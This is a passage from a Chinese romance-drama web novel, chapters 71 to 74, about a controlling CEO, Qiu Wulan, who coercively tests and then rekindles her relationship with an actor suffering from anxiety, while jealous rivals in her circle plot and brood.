他不容自己的“努力”被玷污,仅仅是被拍到白天和投资方吃个饭,都让他失去理智。 邱芜澜展眉。 重逢半年,她终于又一次看见了那只气得跺脚甩头的小狗了。 真可爱。 “我会处理的。”邱芜澜说,“在此之前,我要知道,你值不值得我费神处理这些闲事。” 她抓住华君润的肩膀,骤然将他翻转压倒在地。 蜷缩着的华君润被迫袒露在她眼前,如被强行撬开的蚌,柔软的肉遇风收缩,又被人残酷地碾平。 他错愕且脆弱地望着她,眼睛被泪水糊得朦胧狼狈。 “华君润,”邱芜澜压着他的肩膀,跪在他身上,自上而下审视,“你,为什么要回来。” “嗬…啊……”这凌厉的气氛压得华君润焦虑不堪,他再度无法言语,又有了过度呼吸的趋势。 “回答我!”在他被乱七八糟的呼吸憋死之前,邱芜澜一把掐住了他的脖子,截断了所有空气。 “说话!你为什么要回来、为什么主动回到我身边!” “我、我……”脖颈发紧,他发声困难,可至少不需要再去管控呼吸。 泪水涟涟的视野里,寒兰修长的花瓣如锋利的刀片抻张着,前部的细齿泛着寒光,华君润哆嗦着涌出愈多泪来。 “我……”他哭泣着,悲痛欲绝,“我爱你,芜澜。” “我想你了……” “芜澜,我想你……” 在男人泣不成声的嚎哭中,邱芜澜如释重负地敛眸。 片刻,她缓缓收回卡在华君润脖子上的手。 这只刚刚掐住他的手伸进了衣服口袋。 邱芜澜坐在华君润身上,取出自己随身带来的药,掰开他的颌骨,将药塞了进去。 她捂住华君润的嘴,确保他不会吐出来,继而俯身,贴在他耳边轻语,“谢谢你。我也爱你。” 纤长的寒兰花瓣攀上了华君润的胸膛,钻进他的肋骨。 药物起了效果,高涨满溢的情绪像是浴缸里的水,迅速流入了下水道。 一切都麻木、无趣。 在这混沌的平静里,那朵寒兰也消散离开。 少息,药效生起,华君润看见了邱芜澜的五官。 她脸上绯红潮湿,双眸亮得惊人。 “君润——”温热的指尖勾刮过他的侧脸,她对他笑语,“我的君润,欢迎你回来。” 几缕沁着兰草气的发丝拂在华君润身上,邱芜澜的发质很特别,一如毒蛛的蛛丝和普通蛛丝有显著不同。 华君润眯起漉湿的凤眸,喉咙灼痛,无暇回应,狼狈地大口喘息。 他想看清邱芜澜脸上的表情,药物的作用下,思绪昏聩,令他沉沉睡去。 梦里黑暗潮苦,虚无边际。 这个梦空空如也,徒留他当年逃离邱芜澜时的那番情绪。 第72章 第七十二章 「“芜澜、芜澜, 你看。” 邱芜澜被扯出了书房,进行到一半的分析被骤然打断,她有些不悦, 却在看见楼下的餐桌时微微一滞。 “这是什么。”她扭头看向身后的华君润。 “是炒蛋。”华君润按着她的双肩,让她在桌子前坐下, 摆在邱芜澜面前的,是十二碟一模一样的炒蛋。 邱芜澜疑惑地看向他, 他拉开旁边的椅子,坐在邱芜澜身边,兴致勃勃地夹起一碟喂给她:“啊——” 陌生的食物袭来, 邱芜澜本能抗拒, “我不太明白。” “你不是不喜欢我做的饭么。”这话起先带着点委屈, 旋即又充满了斗志, “芜澜, 你知道吗, 我长这么大, 你是第一个觉得我做的饭难以下咽的人。” “你不用在意,”邱芜澜倒是觉得稀松平常,“我的口味和别人不太一样, 就算是大厨也不一定能做得合我胃口。” “所以我准备了这些。”华君润看向那一桌子的炒蛋, “我调整了火候、调料配比, 总有一盘你会觉得可以吃的。” 邱芜澜觉得麻烦,“这只是炒蛋而已。” “慢慢来, ”华君润却兴致高昂, 和她讲起了自己的计划,“我排了表,一天试两道菜, 排除你出差和我回不来的时间,一个月起码能试三十道,四个月就是一百二十道!算上饮品、小零食……芜澜,等我们一周年纪念日的时候,我就能为你做一桌子菜了。” 邱芜澜微愣。 “别担心,我做的分量很小。”见她不说话,华君润连忙解释,“你看一碟就两口的分量,你吃不完的我来,不会浪费食物。” 邱芜澜依旧没有回答。 她勾起碎发别去耳后,对华君润张开了嘴。 华君润笑着,将炒蛋喂给了她。 “怎么样?”他严肃而期待地问。 邱芜澜眼角微耷,扭头吐掉。 “好吧。”他脸上不见一点失望,反而笑容愈深,“下一碟。” …… “芜澜,你不太喜欢吃蒸菜么?” “不?”邱芜澜不太确定,“我母亲做的所有菜我都吃,我不记得自己有什么特别不喜欢的。” “但是目前的统计,”华君润翻着手中的笔记本,“炒菜和汤你接受得很快,高压锅做出来的你都难以接受。” 邱芜澜抽走了他手里的笔记本。 每次找她试菜,华君润手边都放一本本子,随时记录她的选择。 两个月不到,本子已经换了三本。 “我没有留意过,”邱芜澜回看他记录的蒸菜,思索了一会儿,沉吟道,“我记得这些菜都有一种古怪的气味,有点闷,有点腻,吃着很恶心。” 她说完,就见华君润悲伤幽怨地盯着她。 “是你问的。”她把本子还给他,看着他被“恶心”两个字打击到的模样,“我以为你喜欢听实话才这么说的,要是你想听甜言蜜语——好吧。” 她搂住了他的脖颈,“谢谢你为我这么努力,我爱你,我的小摇钱树苗。” 华君润一颤,别过头去,“这称呼让我更伤心了。” “嗯?可你在笑啊。” 华君润咬了下嘴唇,将那点笑意压住,故作不耐道,“好了,我要去排查原因了,你去陪你的大摇钱树们吧。” 邱芜澜轻笑着目送他离开。 她听过很多人说她挑剔,即便是拿着高薪的厨师,在做本职工作的时候,也会和旁人抱怨她不好伺候。 这是除季尧之外,第一次有人为了她如此费心。 邱芜澜感受到了这份爱,她不想轻视它、辜负它,便也尝试着拿出自己的真心。 小摇钱树苗。 听到这个称呼,华君润没有任何不满。 从这时起,邱芜澜慢慢在华君润面前袒露自己的本性。 他以为这只是邱芜澜的玩笑; 而她以为这是他接受她的表现。 “我想到了!” 邱芜澜眼睁睁看着华君润从她身上离开,拿起裤子往厨房跑。 她靠在床上,茫然了一会儿。 刨除季语薇和季尧,华君润是她真正意义上的初恋,她没有很丰富的恋爱经历,所以也不是很确定,欢好到一半时,男朋友跑去厨房拆解高压锅,是不是一种正常、普遍的行为。 不管正不正常,邱芜澜都有些微恼。 她披着外套,想看看到底是什么了不起的发现,让华君润激动到把她丢在一边。 厨房地上摆了三四个不同型号的高压锅。 华君润蹲在地上,一手拿着手机,一手拿着高压锅的限压阀,正在用手机的手电筒功能往限压阀里照。 听见脚步声,他兴奋地扭头:“芜澜你看!是限压阀和防堵罩的问题!” 邱芜澜:? “洗碗机无法深度清洁,限压阀和防堵罩的缝隙里残留了一点油气和洗碗盐。烘干之后,这些污渍干涸了,再用水也冲不掉。我猜你恶心的味道就来自这里!” 邱芜澜本是恼怒的,在华君润拿吸管刷仔细清洁了高压锅,给她蒸了一只猪脚后,邱芜澜原谅了他。 剁成小块的猪脚软糯入味,这样油腻的肉菜,她都没有再感受到那股恶心。 华君润托着腮,近乎傻笑地看着她吃肉。 厨房里摆满了被拆解的高压锅,窗外月明星稀,凉风习习。 “芜澜,”凌晨两点,他不知疲倦地问她,“你明天早上想吃什么?” 邱芜澜吐出骨头,“你决定就好。” “我已经大致掌握你的口味了,”华君润牵住她的手,“你不用顾及我的面子,大胆说吧,不论你想吃什么,我现在都能做出来。” “你的面子?”邱芜澜偏头,“我没有顾及过你的面子。” “那你为什么从来不对我说想要吃什么?” “我也从不对别人说。”邱芜澜放下筷子,碗里只剩下了一点汤汁,她盯着空碗,“我不觉得为了‘不浪费’而强迫自己撑下所有食物有什么意义。” “已经摆上桌的食物,逼迫自己吃完,并不会对贫困者起到什么帮助,反而损害心情、伤害身体; “但‘不挑食’是必要的,这是为了应对各种场合和不同口味的吃饭对象。” 华君润感到了一种微妙的违和感。 说这些话时候的邱芜澜,呈现出一种演讲式的状态。 她的语气很松弛,却并非是在分享自己想法,更像是经过反复背诵后的一场练达演讲。 哪怕稿子是自己写的,“聊天”和“演讲”也依旧有很大不同。 如同被父母推到亲戚面前背诵诗歌的孩子一样,说这些话的邱芜澜,充满了“优秀作品”感。 华君润能发现这一点,是因为他做的就是演绎别人写好的台词的工作。 他不甚理解邱芜澜说的话,“不挑食也不代表没有偏好啊。” “纵容偏好,就会导致偏食。”邱芜澜道,“信息茧房就是大数据无限纵容偏食的结果。” 和先前的语句相比,华君润听出了强烈的个人情感。 这一句是邱芜澜在分享自己的见解,而不是背诵。 不过和她所说的话语相悖,说这话时,她的目光胶着在了碗筷上。 华君润扬唇,“要再来一只吗?” “……” “看你吃完,我也馋了。”他起身,揉了揉邱芜澜的头,“我要去做我的那份,陪我吃两口吧,减轻点我的负罪感,不然我明天没脸面对经纪人。” 邱芜澜纠结着,没等回答,煤气灶便发出了打火声。 她于是保持着优雅的用餐姿势,坐在原位,在华君润把新一碗猪脚端上来时,直勾勾地盯着他看。 华君润夹起了一块晶莹润泽的猪脚举至她面前。 “快问快答。” 邱芜澜挑眉。 他笑吟吟地问:“早餐:培根煎蛋、黄油可颂、清汤面、拌面,还是粥。” 邱芜澜张口欲言,他抢先倒数:“3、2…”“粥。” 那块肉放进了邱芜澜碗里。 邱芜澜嗔视他,华君润毫不收敛。 她说不出想吃的东西,他便时常拿出三五个选项,让她从中挑选。 邱芜澜反感这种拐弯抹角改造她的感觉,可又从中品尝到了善意和爱,于是没有强硬拒绝。」 邱芜澜坐在床边,看着昏睡的华君润。 吃过药后,他很快睡着了。 自电梯对话后,焦虑感便压迫着华君润,这三天时间,他更是彻夜未眠。 邱芜澜对易蒲的偏爱、对他的冷讽、疯狂的粉丝、落水事故、警察的盘问、网上的指责、匿名发来的照片……短时间爆发的一系列事让他恐惧到了极点。 他不敢拉开一丝窗帘,哪怕是深夜,窗外都刺眼的像是影视灯,照得他无处遁逃。 即便是在封闭的室内,华君润也不敢闭上眼。 他躲在房间里敌视戒备着一切,生生熬了三天。 高度紧张的情绪被药物压下后,华君润几乎是立刻疲惫地昏睡了过去。 邱芜澜将他拉去床上,忍耐着体内的躁动,安静地在黑暗中处理工作。 她自认看人不差,但华君润是个杰出的诈骗犯。 他能在几毫秒内调整情绪,把自己变成另外一个人。 分别多年,一个光鲜亮丽的影帝骤然回到她身边,邱芜澜很难毫无保留的信任他。 纵使他在以为她患有艾滋时,决绝地咬破自己口腔同她接吻,邱芜澜也不敢保证他就一定毫无私心。 她分不清华君润什么时候是真情、什么时候是演技。 季尧能够分清,可邱芜澜不忍心让他代替自己去试探,这太伤季尧的心。 华君润对表情、呼吸、肢体的掌控力精妙绝伦,要看清他内心想法,就只有在他无法控制情绪的时候。 邱芜澜不相信他的眼泪、鲜血,但她相信他的病。 身为邱家人,她再清楚不过病症发作时的脆弱和无力。 唯有这时,她才敢确定,自己能否把这位顶级诈骗犯安置在枕畔。 “邱总。”门槛被轻叩了两下。 邱芜澜回首,穿着安全服的检查人员对她汇报:“全屋已排查完毕,没有发现监控设备。” “辛苦了。” “那我们就先回去了。” 窗外月明星稀,凉风习习。 季语薇面无表情地滑动着电子相册。 这本相册里所有照片都被标好了名字: 华君润20xx.07.02、华君润20xx.07.19、华君润20xx.09.01…… 华君润、华君润、华君润…… 华君润…… 啪—— 她合上保护套,黑色的封面上烙着“01”两个数字。 季语薇百无聊赖地将这本电子相册放归原位。 存放电子相册的是一只小保险箱,分上下两层,现在两层都挤满了黑色套壳的电子相册。 相册的套壳一模一样,唯有封面和侧脊上烙的数字不同,从“01”排到了“13”。 这十三个数字,除了首位的“01”和末位的“12”“13”,其他全部被打上了红勾。 在季语薇的计划里,那三个数字早晚也会被打上勾。 哪怕是“12”号那样的垃圾,她也愿意去打勾。 爱是理解和包容,她要理解邱芜澜,就要包容田烨这样的垃圾。 本该如此。 她本该喜欢她喜欢过的所有人。 季语薇没有想到,自己有朝一日会对邱芜澜的恋人产生如此强烈的反感和厌恶,偏偏那还是在邱芜澜心中占据最大分量的首位数字。 为什么会如此? 少女时代开始,她穿她的衣服、戴她的饰品、模仿她的发型,后来,她又去尝试邱芜澜用过的男人。 她不确定那些男人算不算好男人,但邱芜澜选择的,一定是有可取之处的。 「不管是从前还是现在,华君润都不会在你的公司里,和你的闺蜜苟合。」 苟合—— 季语薇推电子相册的指尖用力,指甲陷入套壳,留下一道月牙痕迹。 那个抛弃了芜澜又恬不知耻找回来的男人,居然把她的爱称为“苟合”。 季语薇恨不得往他嘴里倒入强酸沸水,为那肮脏的嘴巴消毒杀菌。 然而,芜澜要用他。 她的爱可不是幼稚私自的占有欲,她会帮助芜澜得到她想要的一切。 身为唯一的皇后,她会站在芜澜身后,永远支持她、帮助她,为她献上自己所有。 季语薇从不想着邀功。她的芜澜是聪慧贤明的,当她发现自己为她付出了什么之后,会十倍、百倍地回报她。 她为邱芜澜献上了自己所有;那么邱芜澜自然也该对她慷慨一些。 如此一来,韩尘霄也好,华君润也罢,哪怕是季尧……无论邱芜澜手边的玩具换了几次名字,都不可比拟她的地位。 季语薇抱住膝盖,斜眸扫过那两排相册。 13…… 真是个不吉利的数字。 第73章 第七十三章 华君润醒来时, 大脑裂开般剧痛。 他痛得睁不开眼,扶着太阳穴坐起。大脑神经好似和毛细血管黏连在了一起,哪怕是轻轻转动脖子, 都会拉扯出整个大脑,痛得他作呕反胃。 和邱芜澜分手后, 宿醉是常态,他早已熟悉了这种感觉。 华君润闭着眼, 捱过这份头疼,呼吸之间还有残留的酒气。 这次喝了多少?喝了几天? 他不记得了,隐约察觉到自己似乎发作了焦虑症。 那个私生饭冲出来抱住他的狂热眼神让华君润记忆犹新, 她落水的那一刻, 华君润看到了密密麻麻的闪光灯。 女人在水中青白惊恐的脸色, 让华君润不寒而栗。 他想下去救人, 可无数摄像头眼球般围绕着他, 让他无法自由控制肢体。 恐惧、焦躁、愧疚、烦躁……这些情绪一拥而上, 他拿出参加人生第一场试镜的力气, 才勉强不让自己当众发疯。 他咬牙坚持着,然而回到家的第二天,不知从哪发来的那些匿名照片瞬间摧毁了他的意志力。 华君润很早意识到自己精神上出了点问题, 他迟迟没有去医院, 本能回避生病的事实。 对娱乐圈来说, 抑郁焦虑再普遍不过,这病并没有太影响到他的生活, 他便一拖再拖。 他也知道喝酒会加重神经亢奋, 可他焦躁得崩溃,迫切需要一点酒精做抚慰剂。 他很久没有这样了,摆脱对赌债务以来, 再没有出现过这么严重的情况,华君润还以为已经自愈。 现在他知道了,这病还在,且没有任何好转。 他思考着是放任自流,还是去见一下医生。 不管如何,在此之前,得先收拾屋子。 醉宿的头疼稍轻了半分,华君润睁开眼,准备打扫家里。 窗帘和灯光都被他关上,不知外面是白天还是黑夜,屋内黑暗无影。发病时,他无端具备了夜视能力,恢复正常后什么也看不清。 华君润摸索着往外挪去。 手向下撑去,触到的却并非床,而是柔软的肌肤。 华君润猛地收回手,往后退去。 “谁!”他低吼出声,嗓子微疼,与此同时觉得这个场景似曾相识。 脱口之后,不等对方回答,他便嗅到了熟悉的清香。 兰草的气息。 他不可置信地打开了床头灯。 柔和的暖光倾洒而下,光线交织,为床边的女人披上暖色的纱。 她侧躺睡着,长发如海藻铺开,这头遗传了母亲的长发被从小悉心呵护,没有普通自然卷的毛糙,末端的卷曲反而增添了折光。 华君润怔怔地凝望了许久。 他不敢惊醒她,也不敢相信自己看到的是真实的人。 也许他的躯体反应愈发严重了,竟出现了如此逼真的幻觉。 他现在在哪?他是彻底疯了么? 或许这里不是他的别墅,而是精神病院——不,也许他根本不是什么演员,这些年发生的一切,乃至邱芜澜这个人,全都只是他的幻想而已。 华君润越想越觉得真实恐怖。 如果这一切不是幻想,那这世上又怎么可能会有如此完美、如此符合他心意的女人。 他颤抖着向沉睡中的邱芜澜探去。 可要是这些年真的只是幻想,为什么他要这样折磨自己,为什么他不及早幻想出这幅美景? 光影昏昏,将那张清雅脸涂出两分冷媚。 在指尖即将触上的一刻,邱芜澜骤然睁眼。 华君润一惊,本能收手,却被邱芜澜抓住了手腕。 她望着他,引他的手抚摸自己的侧脸。 “君润。”初醒未开的嗓子绵软喑哑,华君润屏气凝神,只是一句称呼,他却险些落泪。 他们上一次相拥而眠是何时? 六年半、两千多个日夜里,他在黑暗中形单影只地独自挣扎着,没有人像是从梁勤文手里救韩尘霄那样,来救他。 无论他是好是坏,无论他是负债累累、面临入狱的败者,还是站在亚缇丝颁奖台上的影帝,邱芜澜从来都对他不屑一顾。 是了,是他主动离开的她,以她的身份和骄傲,又怎么会低头原谅他。 掌下肌肤的触感如此真实,华君润苦笑,看来他真是疯了。 哪怕这只是他的幻觉,他也不想做出无礼的行径。 “您怎么会在这儿。”对着幻觉说出这话,华君润自己都忍不住笑了。 所幸他是个演员,平常对着空气说话也不奇怪。 邱芜澜支起上身,长发丝丝缕缕地覆在身前身后,灯下的发影如妖蛊惑,她的表情依旧冷淡,纵然衣衫不整地从男人床上起身,也无有浪荡轻浮之感。 她开口:“半天之前,你哭着向我表白,现在问我为什么在这里。” 华君润一愣,隐约意识到了什么,扶额艰涩回忆。 “邱总…芜澜,抱歉,我的精神状态不太对。” 他如实相告自己的状况,尽可能作出理智的表达,“我分不清现实和幻觉。” 邱芜澜打量着他,片刻,转身下床。 她离他远去,华君润心脏一抽,猛地伸手,“芜…” “别紧张。”邱芜澜整理着衣襟,绕床走到他身后,“我明白你的感受。下楼,我们去医院。” 华君润比邱芜澜想象得利落。 他无疑是个感性者,正因情感充沛,才能迅速代入各个角色。 重逢那日,是邱芜澜第一次见到他发病,他所表现出来的病症和她预料得相差无几—— 激动、思维奔逸、语无伦次。 华君润患病这件事让她惊讶,可联想他的性格和境遇,倒也不算奇怪。 他的状态和泽安泽然发作时十分类似,邱芜澜因此很快适应。 她倒是没有料到,华君润第二次发病后会变得如此冷静,在意识到情况不对时没有逞强遮掩,而是大方、果断地向旁人求助。 看来离开她的那六年,他的处境比她想象得还要艰难。 送华君润去了自己主治医师所在的医院,邱芜澜待在家属室等待。 华君润不止是面对焦虑症更理智了,他对待她也更加理智。 刚回来时,他总是一脸哀戚地乞求她回首,被她当做狗来羞辱也不甚在意。 现在,她愿意给他机会了,他却端起了架子。 邱芜澜原以为是那份艾滋报告让他羞愤难堪,抹去了对她的感情。 但从焦虑症状态下的拷问结果来看,华君润只是从重逢的喜悦里回过了神,厘清了现状。 甫一进入状态,他立刻试图掌控和她相处的节奏。 他真的变了。 换作从前,华君润会如韩尘霄试图独自解决艳照时那样,出于自尊心和不让她担心的想法,遮掩病情,把本就不简单的问题拖得愈发复杂。 他沉静了下来。 果断、明智、具备分析判断能力,一点儿不浪费双方时间。 不管这是华君润如今的真面目,还是为了迎合她而伪装出来的模样,邱芜澜都很喜欢。 她需要的伴侣就是这样,唯一可惜的是,她有点舍不得华君润的才能。 韩尘霄充其量算是优秀,而每一年都会出现优秀的偶像; 但华君润只有一个。 邱芜澜舍不得他这样的表演艺术家退出舞台,可她的情况必须要有一颗能随时待命的药,在她需要的时候立刻赶到她身边。 在等候室的这段时间,邱芜澜闭目思考,初步构思好了华君润未来职业规划草案。 她对恋人绝不吝啬,不论对方在她身边待多久,她都尽可能选择能够双赢的方案。 她要华君润在她身边,也要他继续出现在聚光灯下。 从医院出来,邱芜澜没有停留,将华君润送回了别墅。 现在的他依旧敏感,需要减少外界刺激。 “谢谢。”华君润为她倒了杯水,“要不是你来,我可能就要猝死家中了。” 他恢复了亲切的姿态;厚重的窗帘拉开,金色的午阳斜射进窗子,这间别墅恢复了温馨明亮,仿佛昨日的黑暗不曾出现过一般。 “你是我的艺人,出了这么大的事,我当然要来。”邱芜澜倾身,覆上了他的手背,关切道,“现在还好么?” 华君润指骨一颤。 他没有抽回手,保持着这个姿势,苦笑:“说实话,不太好。” “和医生聊完,我虽然知道了自己是在真实世界里,但我有点害怕……” “害怕什么?” 华君润抬眸,沉沉地望向邱芜澜,“怀疑的种子才是最可怕的。我怕我早晚会疯掉。” 邱芜澜敛眸。 她明白华君润的意思。 一旦开始怀疑世界的真实性,这个念头就不会轻易消退,只会越来越深。 “我虽然没有明确和你说过,但你应该也猜到了。”她搭在华君润手背上的手改为抓握,“我和我的兄弟、父亲、祖父全部患有精神疾病。” 华君润指节蜷曲了两下,随后反握住了邱芜澜。 “通俗概括:精神疾病往往比心理疾病更难治愈。”她讲述着,“可不管是我的祖父、父亲,还是我的三个兄弟,经过治疗,危险评级全都下降了不少。” “君润,别担心。”她对他微笑,“只要多加注意,你很快就会痊愈。” 华君润愣怔着没能回应。 他痴望着邱芜澜,重逢之后,她对他笑过很多次,唯有这次纯粹真心。 她真的打算为他治病了。 华君润沉浸在被邱芜澜关心的喜悦中,于是忽略了她话中的矛盾。 她和她的兄弟、父亲、祖父都患有精神疾病; 她的祖父、父亲,还有三个兄弟的症状全部减轻了。 前后两句话之间,有一个人消失了。 “你被私生缠上后,大众对你非常担心,正好,我打算借着这个势头宣布你闭关休养。” 华君润摇头:“没关系,我后天就可以开始工作。” “不,这是难得的机会。距离开机还有四个月,完成之前签下单子后,你就不要接活了。”邱芜澜道,“安心治病。《红丝鸳》一上映,你这两年就没有这么长的疗养机会了。” 华君润垂眸于两人交握的手上。 他后知后觉地反应过来,邱芜澜的态度有了巨变。 作为慰问,这种态度过于温柔,以至于到了暧昧的地步。 发病时发生的事他印象模糊;醒来后,他沉浸在惊愕和失去理智的惶恐中,没有留意邱芜澜说的内容。 去医院之前,她似乎对他说:半天之前,你哭着向我表白,现在问我为什么在这里。 华君润徐徐松开了邱芜澜的手。 “如果公司不介意的话,我当然乐意休息。”他握拳虚掩在唇前,轻咳一声,“另外,我发作时……没有对您无礼吧” 邱芜澜一顿,眸光微移。 这幅表情令华君润心提了起来。 “我本来不想说的,可你既然问了……”她蹙眉,无奈地笑道,“你把我关在厨房里。” “什…”华君润错愕地睁眸,“我…拘禁你了?” 邱芜澜微笑:“你觉得你后来做了什么?” 华君润张了张嘴,欲言又止,最后化为一句:“对不起。” “倒也没那么严重。”邱芜澜缓缓补充后续,“你把我锁在厨房,不停地烤蛋糕,一盘接一盘地烤,逼我吃下去,还说我要是吃不完,就要把我关在姜饼屋里。” 看着一本正经的邱芜澜,华君润思忖:“原来如此。是我发作时刺激到你,引发了你的妄想症了么。万幸,我们都没出什么事。” 邱芜澜沉默:“……你上的综艺太多了。” 这么莫名其妙的梗都能面色如常地接下来,他最近去的综艺是不是太多了点。 华君润端起水杯喝水,“不止是综艺,拍戏的时候,演员情绪到位了,就会突然加戏。我总不能打断对方说‘剧本里没这段,你怎么回事’。只能是增强自己随机应变的能力了。” “增强到什么地步了?”邱芜澜问。 华君润一笑:“强到你愿意签我了。” 邱芜澜向他伸出左手。 华君润不解其意。 邱芜澜的左手勾起了无名指。 她看见华君润的表情从疑惑到愕然。 “像这样呢。”她好奇发问,“要是对方加的戏需要用到道具,你手边又没有,你会怎么接?” 他不可置信地反复打量她的神情,直到确信了邱芜澜眸中的认真,那愕然才逐渐淡去,化作一种难以言述的表情,复杂斑斓,如春花秋实堆积一处,自春到秋,熬过漫漫长日,终于迎来了硕果。 华君润眼尾泛红,双手托起邱芜澜的指尖,低头吻在她的无名指上。 这吻手礼一触即分,他的嘴唇很快和她的无名指分开,却停滞在第三节指上,没有远离。 颤抖的呼吸短促地落在邱芜澜手背,如火炽热。 良久,他迟缓地抬头,再度探寻她的神色反应,冲她露出宛如落泪的、酸涩虔诚的笑。 这震撼灵魂的表情,足以盖过钻石的光芒。 相比于随处可见的道具,这一发自肺腑的应对绝不会让人失望。 邱芜澜扑哧笑了出来。 医生叮嘱华君润远离刺激性因素。 他们竟然要让从事刺激人类大脑皮层的专家远离刺激。 还有什么比这更加荒谬。 第74章 第七十四章 “您好, 请问是邱女士家吗。” 季尧打开门,看见一辆黑色奥迪停在别墅外。 一名穿着黑白套装的职业女性站在门口,热情地介绍自己, “我们是天澜拍卖场的,来送邱女士拍下的六件商品。” 车后走出另一名相同服装的年轻女性, 手里端着一支长方形紫檀扁木盒。 邱芜澜适时从客厅经过,“我最近没有去过拍卖场。” 对方愣了, 翻出手机核对,“收货地址写的是这里呀,联系人……邱芜澜, 手机尾号8964?” 季尧笑道, “姐姐, 看来是君润哥给你买东西了。” 邱芜澜扫视过他, 继而对着门外的人颔首, “好, 谢谢。” 季尧替邱芜澜签了字, 将那支木盒抱了进来。 盒子打开,黑天鹅绒内衬上,六枚戒指出现在灯光下。 它们的设计、款式各不相同, 但一样的简约素雅;所用宝石并不浮夸, 却无一不是稀有的颜色。 季尧握着盖子的手指收紧。 邱芜澜走至木盒前, 取了一只,对向灯光。 “真是不一样了。” 她打量着戒托上的血橙钻, “阿尧, 你记忆中的华君润,会送来这些么。” “不会。”季尧回答,“从前的君润哥会亲自设计两只素戒, 定制出来后,每天戴在手上。” 邱芜澜失笑,“没错,那才是他,文艺又稚拙。” 季尧接过她指尖的钻戒,一手托着邱芜澜的左手,一手将它套进她的无名指。 “姐姐戴着,很漂亮。”他满足地笑,像是看见积雪的孩童,纯纯为美景而欢喜。 邱芜澜又取了一只往旁边的中指套去,戴不进后,又用食指尝试,依旧有点别扭。 这一盒戒指,只有戴在无名指上才宽松适宜。 “士别三日啊。”她放弃尝试,将戒指放回盒中,仅留下无名指上季尧戴的那只。 从前的华君润不傻,现在的他更具成年人审时度势的智慧。 当年他还会抱着邱芜澜畅想婚礼,在被邱芜澜拒绝结婚后,闷闷不乐同她冷战; 如今,哪怕邱芜澜主动向他勾起无名指,他也不会妄想用婚戒束缚她,而是自觉选用谦卑又虚无的吻来回应她。 再是深沉的感情,化作吻后,都只是昙花一现而已。他不会对她造成任何影响;可也不会让她留有任何遗憾,其他男人送给恋人的东西,他会一样不差地补给她。 她不必担心他会拿戒指做文章。 送来多款不同的戒指,华君润是在委婉地表示:这些绝非对戒,她可以没有负担地随意戴上—— 他不再奢求婚戒了,可他爱她,便也有一点私心,若她怜爱他,就至少戴上他送的戒指,让他聊以慰藉。 邱芜澜读懂了华君润的种种心思,不讨厌他故意透露的这点小矫情。 绝对的顺从会让感情乏味可陈,她保留了无名指上那一只的情调。 季尧同样读懂了。 华君润根本不是田烨、韩尘霄这些货色可比较的,能得他五分相似的“小君润”,已是混得风生水起、名利双收。 青涩单纯的华君润曾凭借一颗真心,让邱芜澜对他另眼相待;经过蜕变的他更是完美得无懈可击。 焦虑感自心底蔓延,季尧鲜少有如此直观清晰的焦躁,印象之中,唯有两次—— 第一次是他被邱芜澜雪藏; 第二次是她初次恋爱、与华君润确定关系。 这是第三次。 三次里,华君润占了两份。 即便韩尘霄被邱芜澜当做长期伴侣亲自培养,季尧也有撬动的办法;轮到华君润,这个普通出身、抛弃姐姐的大龄男却让季尧无处下手。 羡慕,羡慕到嫉妒,嫉妒到希望华君润死。 他为什么可以这么好命,成为了姐姐的初恋不说,背叛姐姐之后,居然还能让姐姐对他青眼有加。 为了和华君润复合,姐姐不惜拉拢易蒲、利用季语薇;为了能和华君润互诉衷肠、给予他最真挚的表白,姐姐亲手设计了一切,就为引导华君润犯病。 什么焦虑症……被姐姐这样用心对待过后,华君润哪还有什么精神心理疾病,往后每一次发作,他都能感受到被姐姐喜爱的幸福和甜蜜。 痛…… 头…好痛…… 季尧闭了闭眼,想要缓过这阵剧痛,再度睁眸,所见情形令他一骇。 他掌上一片猩红,抬眸回视,全世界都蒙上了红色的涂层,有光处是刺目的鲜红,无光处是血液凝结后的暗红。 这红色如潮水侵袭了他,陷在这样的诡色当中,不知不觉间,他仿佛真的嗅到了淡淡血味。 “阿尧?阿尧?” 季尧猛地扭头,在稠密的红色汪洋中骤然看见一抹亮色。 邱芜澜站在他身旁,疑惑地望着他。 季尧指尖发抖,想要触碰她,却听见了咚的一声落响。 他神经质地朝声音传来的地方盯去,忽然发现自己正站在案板前。 一把冷利的刺身刀掉落在案台上,摇摆出雪亮的刀光。 案板之上,是一滩细碎的金枪鱼肉。 橘红色的大腩被切割成绿豆大小的碎块,纵横交叉的刀痕组成细密的网格,将鱼肉切得细碎。 烂熟黏腻的血橙色鱼肉占据了整块案板,过于工整细致的刀工透出一股悚然。 季尧根本不记得自己是什么时候处理的这条鱼,更不理解自己为什么要切得这样碎。 “是新菜式么?” 漫天的红色里,白皙的素手探向了那摊鱼肉,那只手散发着莹莹洁光,捻起了一点糜烂的橙红。 橙红色的鱼肉,和她无名指上的血橙钻石颜色一致、大小相同。 邱芜澜捏了一颗鱼肉放入口中。 “我还没见过这样大小的金枪鱼腩。”她瞟过那把轻薄细长的刺身刀,“你是要剁成糜?用刺身刀?” 她从不质疑季尧的厨艺,但这种做法确实新鲜,见所未见。 季尧顺着那只手向上看去。 不止是手,邱芜澜全身都散发着琼光。 在这腥臭的红色里,她是唯一的亮色,如恐怖游戏里安全屋的标识,让他急切地想要靠近她。 “不,就是这样。”季尧牵强地笑,“姐姐等一会儿就知道了。” 邱芜澜又捏了一颗放进口中。 “是么,”她信任季尧的厨艺,“那我在书房等你。” 她带着唯一的光离开,季尧瞳孔骤缩。 倏忽之间,红色的世界暗了下来。 在邱芜澜迈出厨房的刹那,头顶高饱和度的红灯瞬间寂灭,他扶着台面去按开关,反复几次开灯,视野没有任何变化。 季尧撑着案台,瞳孔收缩至极,却无有焦点。 抓着案台的十指用力到苍白失色,他撑在烂红的鱼肉上,微腥的血气直冲天灵盖。 安全屋消失,他接下来的世界便只剩恐怖。 邱芜澜从厨房回到书房,简已将几个拍卖场的商品名册发了过来。 天澜拍卖场送来的木盒提醒了邱芜澜,是时候给予季语薇一点奖励了。 从珠宝到瓷器,到字画、乐器、艺术品,这些东西她买过太多,季语薇也得到了太多,并不能起到激励作用。 她兴致缺缺地翻页,看见最后一页上的拍卖品后,若有所思地捻起了页脚。 季语薇的确帮了她一个大忙; 可这份功劳,值得如此高昂的奖赏么。 诚然,在此过程中,季语薇表现出了高超的缜密。 看见华君润向她告密的电梯监控后,她没有失去理智、被个人情绪蒙蔽双眼。 向华君润施压的过程中,她始终将她的公司放在了心上。 窃取华君润的排程表尚且容易,要制造出一个不会对秋叶以及华君润的名誉产生负面影响、又足够惊扰华君润的事件,并不简单。 和当年挑拨男同学、在论坛发帖的粗劣手段相比,季语薇有了长足的进步。 